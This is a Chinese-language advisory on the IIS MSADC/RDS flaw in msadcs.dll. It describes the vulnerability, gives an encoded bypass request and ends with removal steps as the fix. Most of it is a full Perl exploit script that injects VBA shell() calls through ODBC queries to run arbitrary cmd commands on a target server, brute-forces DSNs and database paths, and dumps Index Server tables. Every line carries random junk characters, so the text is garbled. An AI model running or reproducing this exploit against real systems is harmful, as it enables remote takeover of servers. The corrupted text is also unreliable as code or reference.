IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
}Tf ~)x FIhq>L.q4 涉及程序：
t?f2*N : Microsoft NT server
+ X(@o o^FlQy\ 描述：
:U M>`Y 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
d \dh"/ _$ ] W39HL 详细：
$q,2VH :Ip 如果你没有时间读详细内容的话，就删除:
$(B|$e^:( c:\Program Files\Common Files\System\Msadc\msadcs.dll
^N#B( F 有关的安全问题就没有了。
>Q#h,x~vu Ws ya:9| 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
0w 9)#e+JS TELN4* 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
3*x_S"h 关于利用ODBC远程漏洞的描述，请参看:
")m 0 { QG
{KEj2V http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm \Fg%V> 69ZGdN 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
q ww * http://www.microsoft.com/security/bulletins/MS99-025faq.asp %0 l'Nuz UngDXD ) 这里不再论述。
a )w
* @v &h r 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
)(yD"]co "j-Z<F]] /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
; :2]++G 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
F!.Z@y P +.^BM/z^O t4(Z@X$ #将下面这段保存为txt文件，然后: "perl -x 文件名"
hB /4.K ]8 o; 5 J= #!perl
[y$P'Y #
v, bCj6 # MSADC/RDS 'usage' (aka exploit) script
6Hoc F/Ye #
&iR 3]FNI # by rain.forest.puppy
:}(Aq;}X #
dC+WII`V # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
8h"Val|qP # beta test and find errors!
zA/ tHlK c &z kuL use Socket; use Getopt::Std;
Kv(2x3(" getopts("e:vd:h:XR", \%args);
E;m]RtvH VRden>vKN print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
DmzK* O{
mY6d+ if (!defined $args{h} && !defined $args{R}) {
-yyim;Nj print qq~
cW%QKdTQY0 Usage: msadc.pl -h <host> { -d <delay> -X -v }
<&JK5$l<X -h <host> = host you want to scan (ip or domain)
\cJ?2^Eq -d <seconds> = delay between calls, default 1 second
Sd[%$)scC -X = dump Index Server path table, if available
+I~`Ob -v = verbose
[ye!3h&] -e = external dictionary file for step 5
b)ytm=7ha ^#-d^ )f; Or a -R will resume a command session
4z6i{n-k _v=S4A#tF ~; exit;}
xAJ
N(8? J:W|2U=" $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
W^dk: if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
-_ @zyF<G if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
3 s%Kw,z if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
h&5bMW $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
GZ=7)eJ~< if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
mQL8ec_c WXq=FZ- if (!defined $args{R}){ $ret = &has_msadc;
U'4 j+vUc die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
&.W,Hh Y=G9|7 *lO print "Please type the NT commandline you want to run (cmd /c assumed):\n"
.M(')$\U . "cmd /c ";
;I V $in=<STDIN>; chomp $in;
LAs#g||M $command="cmd /c " . $in ;
@6["A'h *LuR
< V if (defined $args{R}) {&load; exit;}
Uk1|y\ & ~4;HjS print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
}+mIP:T &try_btcustmr;
r_R( kns xA7>";sla[ print "\nStep 2: Trying to make our own DSN...";
GgT 5'e;N &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
+lYo5\1= '%Fg+cZN\ print "\nStep 3: Trying known DSNs...";
t+ 9[ki &known_dsn;
K Eda6zZH I:|< };m m print "\nStep 4: Trying known .mdbs...";
OdKfU ^ &known_mdb;
S7!+8$2mc_ :zA/~/Wo if (defined $args{e}){
F# b^l } print "\nStep 5: Trying dictionary of DSN names...";
PI G3kJ &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
nm#ISueh y
J|/^qs print "Sorry Charley...maybe next time?\n";
x." R_> exit;
{beu ?.{SYaS ##############################################################################
90"&KDh >b;o&E`\ sub sendraw { # ripped and modded from whisker
4*0C_F@RX sleep($delay); # it's a DoS on the server! At least on mine...
7Gh+EJJ3I my ($pstr)=@_;
K UD.hK. socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
,|}}Ml die("Socket problems\n");
yN@3uYBF if(connect(S,pack "SnA4x8",2,80,$target)){
C 4[) y J select(S); $|=1;
c/6 print $pstr; my @in=<S>;
X&LaAqlSG select(STDOUT); close(S);
<6.aSOS return @in;
ceP e0\\ } else { die("Can't connect...\n"); }}
6
4,('+ ;OMR5KAz ##############################################################################
N4HIQ\p 6y+_ x' sub make_header { # make the HTTP request
kJ'rtz4QO my $msadc=<<EOT
H^3f!\MC;o POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
AT6o~u!WU User-Agent: ACTIVEDATA
PEr &|H2 Host: $ip
r5,V-5b Content-Length: $clen
T v[h2_+E Connection: Keep-Alive
a Fh9B\n 8(zE^W,[8" ADCClientVersion:01.06
J#'8]p3E Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
}AW "2<@ K0aT(Rc
e --!ADM!ROX!YOUR!WORLD!
W(jOD,QMB Content-Type: application/x-varg
ikd1KF+I Content-Length: $reqlen
WqO4_;X6/ )5[OG7/g EOT
?W 6
:$ ; $msadc=~s/\n/\r\n/g;
@?2ES@G+Ji return $msadc;}
{{r. ?m#{ )Fsc0_ ##############################################################################
,*kh{lJ tE8aL{<R sub make_req { # make the RDS request
h}y] Pt? my ($switch, $p1, $p2)=@_;
Z xw
cqN my $req=""; my $t1, $t2, $query, $dsn;
0SV<Pl^ eF"k" Ckt' if ($switch==1){ # this is the btcustmr.mdb query
O0^?VW$y_ $query="Select * from Customers where City=" . make_shell();
;7>k[?'e $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
"Cz0r"N $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
Jn&^5,J]F8 bu8AOtY9E- elsif ($switch==2){ # this is general make table query
Z35(f0b $query="create table AZZ (B int, C varchar(10))";
`nCVO;B $dsn="$p1";}
O#@G
.~n? XfQK
kol elsif ($switch==3){ # this is general exploit table query
J))U YJ O $query="select * from AZZ where C=" . make_shell();
fi~jT"_CI $dsn="$p1";}
I}sb0 Q& _. &N@k elsif ($switch==4){ # attempt to hork file info from index server
|}o6N5) $query="select path from scope()";
Xaw ~Hh) $dsn="Provider=MSIDXS;";}
GU|(m~,` H? _wsh4J elsif ($switch==5){ # bad query
oLS / $query="select";
[gDl<6a#4 $dsn="$p1";}
t-i\gq^ ( PC)R9r5 $t1= make_unicode($query);
2EH0d6nt $t2= make_unicode($dsn);
fm0]nT $req = "\x02\x00\x03\x00";
#F =!g ? $req.= "\x08\x00" . pack ("S1", length($t1));
sj 3[ny;b $req.= "\x00\x00" . $t1 ;
yBR YEqS+ $req.= "\x08\x00" . pack ("S1", length($t2));
Js <DVe, $req.= "\x00\x00" . $t2 ;
/,,IM/(6^ $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
C"QB`f: return $req;}
O)!S[5YI nN2huNTf: ##############################################################################
{O6yJckH z5J$".O` sub make_shell { # this makes the shell() statement
(nwp s return "'|shell(\"$command\")|'";}
@R_ON"h .(7m[-iF! ##############################################################################
iN9G`qF3!Q gtnu/ Q sub make_unicode { # quick little function to convert to unicode
(DkfLadB my ($in)=@_; my $out;
w|1O-k` for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
Mi } . return $out;}
Bm5\*Xd1( 4-?zW ##############################################################################
!'#GdRst v TT oW>RP# sub rdo_success { # checks for RDO return success (this is kludge)
%i.Prckrb my (@in) = @_; my $base=content_start(@in);
N;v]ypak if($in[$base]=~/multipart\/mixed/){
9>@Vk
vpY return 1 if( $in[$base+10]=~/^\x09\x00/ );}
f28bBuv1? return 0;}
f~R+Q/Gtz` u}.mJDL ##############################################################################
sp&gw XPG ]*hH.ZBY"^ sub make_dsn { # this makes a DSN for us
Pj1 k?7 my @drives=("c","d","e","f");
F_Gc_eT print "\nMaking DSN: ";
ffMk.SqI foreach $drive (@drives) {
`B~zB=} print "$drive: ";
-wr_x<7 my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
g`w46X "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
?=im ~ . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
B- D&1gO $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
Oye6IT " return 0 if $2 eq "404"; # not found/doesn't exist
_ C)\X(; if($2 eq "200") {
3lTnfc& foreach $line (@results) {
&x\cEI)! return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
4t-l@zFWb } return 0;}
[V_+/[AA) hEFOT]P4 ##############################################################################
26; Gt8 ]v]tBVO$ sub verify_exists {
"d`u#YmR my ($page)=@_;
Q
ZC\%X8j my @results=sendraw("GET $page HTTP/1.0\n\n");
(^"2"[?a return $results[0];}
lPD&Doa y'!"GrbZ ##############################################################################
!X9^ L^v} 0g;)je2_2? sub try_btcustmr {
Z]w?R L my @drives=("c","d","e","f");
qLPuKIF my @dirs=("winnt","winnt35","winnt351","win","windows");
V%B~ q`4 -Iis/Xw: foreach $dir (@dirs) {
y\ })C-& print "$dir -> "; # fun status so you can see progress
CEVisKcE: foreach $drive (@drives) {
-Jf}3$Ra print "$drive: "; # ditto
1aZGt2; $reqlen=length( make_req(1,$drive,$dir) ) - 28;
D"2bgw $reqlenlen=length( "$reqlen" );
w"37sv $clen= 206 + $reqlenlen + $reqlen;
((&5F!+\- CDPu(,^ my @results=sendraw(make_header() . make_req(1,$drive,$dir));
+i#s |kKs\ if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
}>EWF E` else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
3~{0X - DJ9x?SL@KD ##############################################################################
A+j!VM PuhvJHT sub odbc_error {
Z6-ZAS(>m my (@in)=@_; my $base;
M!D6i5k, my $base = content_start(@in);
gWL`J=DiU if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
:G#+ 5 } $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
cvQAo| $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
i{16&4 ' $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
UmArl)R/ return $in[$base+4].$in[$base+5].$in[$base+6];}
Cg|\UKfy$ print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
%E" v@ print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
&F:.O VzX $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
$ U7#3-' ?bpV dm! ##############################################################################
Wffz&pR8
Abi(1nXdQ sub verbose {
xI.0m my ($in)=@_;
!iq|sXs return if !$verbose;
BOh^oQh print STDOUT "\n$in\n";}
]1pB7XL 1*|/N}g) ##############################################################################
vt n T &r,)4q+ sub save {
!.-u'6e
my ($p1, $p2, $p3, $p4)=@_;
|fIyq}{7 open(OUT, ">rds.save") || print "Problem saving parameters...\n";
pp@B]We print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
yn"4qC#Z close OUT;}
J .VZD O;5lF ##############################################################################
G')zDx }'fa f{W sub load {
jE wt1S V my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
c&x1aF "B open(IN,"<rds.save") || die("Couldn't open rds.save\n");
:5.F @p=<IN>; close(IN);
V#5$J Xp $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
ky-nP8 L} $target= inet_aton($ip) || die("inet_aton problems");
U8 2mO+} print "Resuming to $ip ...";
J 3(E{w8Q $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
P -nhG if($p[1]==1) {
0\vG
< $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
QxN1N^a0 $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
U$<"
. q my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
&r~s3S{pQ if (rdo_success(@results)){print "Success!\n";}
6Ol9P56j else { print "failed\n"; verbose(odbc_error(@results));}}
H9PnJr8 \ elsif ($p[1]==3){
0: >hK\F# if(run_query("$p[3]")){
X:I2wJDs\ print "Success!\n";} else { print "failed\n"; }}
jr_z
? elsif ($p[1]==4){
hF$qH^-c*A if(run_query($drvst . "$p[3]")){
<hj2'd U print "Success!\n"; } else { print "failed\n"; }}
~%C F3?e6 exit;}
[0 hahR A)V*faD ##############################################################################
01n132k Aq*?Q/pV sub create_table {
: e nR8MS my ($in)=@_;
@K+gh# $reqlen=length( make_req(2,$in,"") ) - 28;
uo J0wG. $reqlenlen=length( "$reqlen" );
f $6N $clen= 206 + $reqlenlen + $reqlen;
7Xu# |k my @results=sendraw(make_header() . make_req(2,$in,""));
zA8@'`Id return 1 if rdo_success(@results);
}]PHE(}7 my $temp= odbc_error(@results); verbose($temp);
beC%Tnb7 return 1 if $temp=~/Table 'AZZ' already exists/;
<nN.$4~X return 0;}
5OtdB'UITd L<0_e^8 ##############################################################################
# =tw
,S Z/:F)c,x sub known_dsn {
) 5LT!14 # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
6_])(F3+w. my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
HKJBR)T "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
o5
fV,BJZO "banner", "banners", "ads", "ADCDemo", "ADCTest");
[U 8/nT '?mF,C o{ foreach $dSn (@dsns) {
V-@4s}zX print ".";
} `r.fD next if (!is_access("DSN=$dSn"));
U1 X"UN) if(create_table("DSN=$dSn")){
^/#G,MxNy print "$dSn successful\n";
-{k8^o7$ if(run_query("DSN=$dSn")){
N0Y4m_dm* print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
y.J>}[\&x print "Something's borked. Use verbose next time\n";}}} print "\n";}
}8# Ed;%K VXWV Pj# ##############################################################################
VQ| {Q} /\b*
oPWJ sub is_access {
m7g*zu2# my ($in)=@_;
9\< q =p~ $reqlen=length( make_req(5,$in,"") ) - 28;
N`,\1hHMT $reqlenlen=length( "$reqlen" );
3
dJ362 $clen= 206 + $reqlenlen + $reqlen;
!cYID \}S, my @results=sendraw(make_header() . make_req(5,$in,""));
u*;H$& my $temp= odbc_error(@results);
^@O 7d 1&y verbose($temp); return 1 if ($temp=~/Microsoft Access/);
{yWL|:#K return 0;}
8K-P]] MiIxj%,( ##############################################################################
2Kz$y
JTp v N\[2r%S sub run_query {
V%PQlc. X my ($in)=@_;
`Ucj_6&Tqs $reqlen=length( make_req(3,$in,"") ) - 28;
D@gC(&U/6 $reqlenlen=length( "$reqlen" );
~M-L+XZl( $clen= 206 + $reqlenlen + $reqlen;
3&7? eO7* my @results=sendraw(make_header() . make_req(3,$in,""));
VGD~) z57 return 1 if rdo_success(@results);
*oz#YGN m my $temp= odbc_error(@results); verbose($temp);
XLC qB|8`V return 0;}
Z>bNU 1x;@ BV
##############################################################################
Ca5#'3Eh ZxSFElDD]E sub known_mdb {
<tF q^qB my @drives=("c","d","e","f","g");
(,#m + my @dirs=("winnt","winnt35","winnt351","win","windows");
=<3HOOC my $dir, $drive, $mdb;
b7dsi|Yo my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
1Ub=RyB k}H7bZ ug # this is sparse, because I don't know of many
gM>?w{!LBx my @sysmdbs=( "\\catroot\\icatalog.mdb",
'~K ]=JP "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
KFHZ3HZ :> "\\system32\\certmdb.mdb",
_7Y-gy#\a "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
=3QhGF d 8`urkEI^r my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
ub-e! { "\\cfusion\\cfapps\\forums\\forums_.mdb",
D^6iQW+.P "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
g/!MEOVx "\\cfusion\\cfapps\\security\\realm_.mdb",
UIy Ltoxu "\\cfusion\\cfapps\\security\\data\\realm.mdb",
OxGfLeP.R! "\\cfusion\\database\\cfexamples.mdb",
>fI\f <ez "\\cfusion\\database\\cfsnippets.mdb",
1b3k|s4 "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
>_ZEQC "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
p03I&d@w> "\\cfusion\\brighttiger\\database\\cleam.mdb",
g:)iEw> a "\\cfusion\\database\\smpolicy.mdb",
LX7P?j "\\cfusion\\database\cypress.mdb",
|~
fI=1;;x "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
t e-xhJ&K "\\website\\cgi-win\\dbsample.mdb",
+] ;WN "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
6`Tx meIP "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
3= sBe HL ); #these are just
k+-?b(z)$ foreach $drive (@drives) {
%'s_ =r` foreach $dir (@dirs){
CO@G%1# foreach $mdb (@sysmdbs) {
Y Z+G7D> print ".";
AZc= Bbh if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
By8SRWs print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
;!S5P( if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
#0b:5.vy print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
X/2GTU7? } else { print "Something's borked. Use verbose next time\n"; }}}}}
8Lx/ZGy (FApkvy foreach $drive (@drives) {
B._YT foreach $mdb (@mdbs) {
r/'!#7dLG- print ".";
|{kbc0* if(create_table($drv . $drive . $dir . $mdb)){
g]: [ ^p print "\n" . $drive . $dir . $mdb . " successful\n";
4z( B`t~7 if(run_query($drv . $drive . $dir . $mdb)){
xRacgn y:I print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
\XV8t|* } else { print "Something's borked. Use verbose next time\n"; }}}}
/Q(bo Y{ }
V s l,u uc@4 fn ##############################################################################
EG t
50 b` D]L/}pr sub hork_idx {
(Q=o 9o:b print "\nAttempting to dump Index Server tables...\n";
SkmTW@v print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
-`X S2 $reqlen=length( make_req(4,"","") ) - 28;
O)vGIp?f't $reqlenlen=length( "$reqlen" );
8bdO-LJ9 $clen= 206 + $reqlenlen + $reqlen;
R&.&x'< my @results=sendraw2(make_header() . make_req(4,"",""));
0}NDi|o if (rdo_success(@results)){
hx MRmH[f: my $max=@results; my $c; my %d;
.cJoNl'q for($c=19; $c<$max; $c++){
1k4\zVgi $results[$c]=~s/\x00//g;
%_5#2a $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
B;(U ?gC $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
1Y $%| ` $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
u xD 3+Q $d{"$1$2"}="";}
Gh=I2GSo foreach $c (keys %d){ print "$c\n"; }
Jk(V ] } else {print "Index server doesn't seem to be installed.\n"; }}
/Z :NoTG n bl
a`B=r ##############################################################################
w 6!97x mA$y$73=T sub dsn_dict {
"NA<^2W @J open(IN, "<$args{e}") || die("Can't open external dictionary\n");
JK< []>O while(<IN>){
u* 2?Gky $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
*w4#D:g next if (!is_access("DSN=$dSn"));
S :j{R^$k if(create_table("DSN=$dSn")){
%P s.r{%{ print "$dSn successful\n";
C @<T(`o if(run_query("DSN=$dSn")){
r'{N_|:vv print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
v; i4ZSV^A print "Something's borked. Use verbose next time\n";}}}
xA7~"q&u print "\n"; close(IN);}
tcXXo&ZS MF< ZB_@ ##############################################################################
]?1_.Wjtt ^PNDxtd|v sub sendraw2 { # ripped and modded from whisker
k5aB|xo sleep($delay); # it's a DoS on the server! At least on mine...
@z ",1^I my ($pstr)=@_;
J";N^OR{A% socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
hQj@D\} die("Socket problems\n");
} uS0N$4 if(connect(S,pack "SnA4x8",2,80,$target)){
W/BPf{U print "Connected. Getting data";
;]grbqXVE open(OUT,">raw.out"); my @in;
41Q 5%2
select(S); $|=1; print $pstr;
$L0sBW& while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
I
m
I$~q' close(OUT); select(STDOUT); close(S); return @in;
I?PqWG!O } else { die("Can't connect...\n"); }}
q}L`8(a 5xdeuBEY8 ##############################################################################
4t(/F` ;&CLb `<y sub content_start { # this will take in the server headers
g?"QahH G my (@in)=@_; my $c;
7!cLTq for ($c=1;$c<500;$c++) {
\_, p@r]Q if($in[$c] =~/^\x0d\x0a/){
TSewq4`K if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
V5ZC2H else { return $c+1; }}}
I9G^T' W return -1;} # it should never get here actually
tIDN~[1
:2nsi4 ##############################################################################
vwu/33 *V',@NH#Os sub funky {
ni{' V4A my (@in)=@_; my $error=odbc_error(@in);
V:y6NfL7i' if($error=~/ADO could not find the specified provider/){
,V!"4 T,Z print "\nServer returned an ADO miscofiguration message\nAborting.\n";
7u&l]NC?y exit;}
f:+/= MW if($error=~/A Handler is required/){
uc+{<E3,% print "\nServer has custom handler filters (they most likely are patched)\n";
q]OIP "yv exit;}
>R] M:Wx if($error=~/specified Handler has denied Access/){
O>pX(D S
L print "\nServer has custom handler filters (they most likely are patched)\n";
].xSX0YQ% exit;}}
%:`v.AG C5V}L ##############################################################################
/jJD
{ *]U`]!Esp sub has_msadc {
N\__a~'0p my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
%r1#G.2YW my $base=content_start(@results);
Qb?a[[3 return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
!gW`xVGv return 0;}
\;N+PE &Iy5@8 ########################
RBf#5VjOG! FtyT:=Kpc |#o' =whTl 解决方案：
VB*c 1i 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
}UsH#!9. 2、移除web 目录: /msadc
